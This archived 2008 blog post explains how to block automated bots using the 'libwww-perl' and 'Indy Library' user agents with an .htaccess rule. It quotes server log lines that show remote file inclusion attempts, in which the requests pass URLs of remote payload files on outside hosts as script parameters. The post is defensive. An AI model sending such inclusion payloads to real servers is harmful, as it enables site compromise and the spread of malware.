|
| Home | Accessibility | Courses | Diary | The Mouth | Forum | Resources | Site Map | About Us | Contact |
|
libwww-perl and Indy Library in your server logs?
Here are some sample lines from our server logs ... and I don't like the look of them! from 195.39.5.203 - Moravskoslezsky Kraj, Czech Republic [1000 miles] - libwww-perl/5.805 .net: /resources/recents.html/plugins/safeh...ms_files/images/id.txt???//index ... 16:44:24 from 91.187.115.253 - Vojvodina, Serbia [1295 miles] - Mozilla/3.0 (compatible; Indy Library) .net: /resources/smap.php?adder=http://www.freewebs.com/atdheu-mc/raw.txt?/exa ... 16:45:17 Records like these - with "Indy Library" or "libwww-perl" in the name of the browser (which is also know as the "User Agent") - are very likely to be attempting to find a security hole in our site scripts, through which they can copy themselves onto our server and then continue to infect other systems, or to use our site to advertise their own by injecting their own URLs. So what are "Indy Library" and "libwww-perl"? Indy Library usually comes from the Delphi/C++ Builder suite of tools. Someone has written an automated program using the library ... libwww is from the Perl LWP (Library for WorldWideWeb in Perl) library, so in this case, it's probable that someone has written an automated program In Perl ... Automated programs are a necessity - and indeed we welcome well behaved crawlers from the well known Google and Yahoo through to more obscure ones too, but authors of such crawlers who know properly what they're doing change the User Agent string rather than using the default - in my experience, we really don't want the default crawlers on our site, which are at least 90% malicious, with the remaining 10% being amateur. So how can we turn them off? Standard practise is to deny specific user agents via the robots.txt file - but chances are that the naughty bots won't respect that so we need to enforce the rule! Here are three lines that I've added to our .htaccess file ... SetEnvIfNoCase User-Agent "libwww-perl" naughty_boysWhich will send out a 403 Forbidden message to the automata, telling them that they can't have the page they seek. Goodness knows what the receiveing bot will do with the error - but we can make our 403 'handler' simple, quick, secure, and light on bandwidth. How do we test that? Here's a simple Perl script that will declare itself as being libwww: #!/usr/bin/perlAnd when I run that, it now gives me: -bash-3.2$ perl pg1If I add the line: $ua->agent("Well House Consultants Bot");into that program, I get a much more satisfying result back ... -bash-3.2$ perl pg2Links - full source code of our test program without and with our own user agent being set. One of the matters that I considered very carefully indeed before blocking these use agents was the possibility that I'm blocking some useful and important traffic as well as a lot of "nasties" - throwing out the baby with the bathwater if you like. Not the case, I believe - as most people who have legit babies take good care of them and name them properly, but I will be watching my log files none the less to check. As I finished writing this article - some poetic justice from my log file ... 64.159.77.76 - - [12/Sep/2008:21:28:20 +0100] "GET /mouth/1542_Are-nasty- programs-looking-for-security-holes-on-your- server-.html/errors.php?error= http://vnc2008.webcindario.com/idr0x.txt??? HTTP/1.1" 403 - "-" "libwww-perl/5.805" Some automaton is looking to hack into a previous short article on security holes and firmly being denied access. (written 2008-09-13 08:28:48) Associated topics are indexed under A606 - Web Application Deployment - Apache - log files and log file tools
Some other Articles
Spiders WebRegular Expressions in PHP What does an browser understand? What does an HTML document contain? I have been working hard but I do not expect you noticed libwww-perl and Indy Library in your server logs? What have iTime, honeytrapagency and domain listing center got in common? Refactoring - a PHP demo becomes a production page Which country does a search engine think you are located in? All the pieces fall into place - hotel and courses The road ahead - Python 3 |
1889 posts, page by page
Link to page ... 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38 at 50 posts per pageThis is a page archived from The Horse's Mouth at http://www.wellho.net/horse/ - the diary and writings of Graham Ellis. Every attempt was made to provide current information at the time the page was written, but things do move forward in our business - new software releases, price changes, new techniques. Please check back via our main site for current courses, prices, versions, etc - any mention of a price in "The Horse's Mouth" cannot be taken as an offer to supply at that price.
Link to Ezine home page (for reading).
Link to Blogging home page (to add comments).
PH: 01144 1225 708225 • FAX: 01144 1225 707126 • EMAIL: info@wellho.net • WEB: http://www.wellho.net • SKYPE: wellho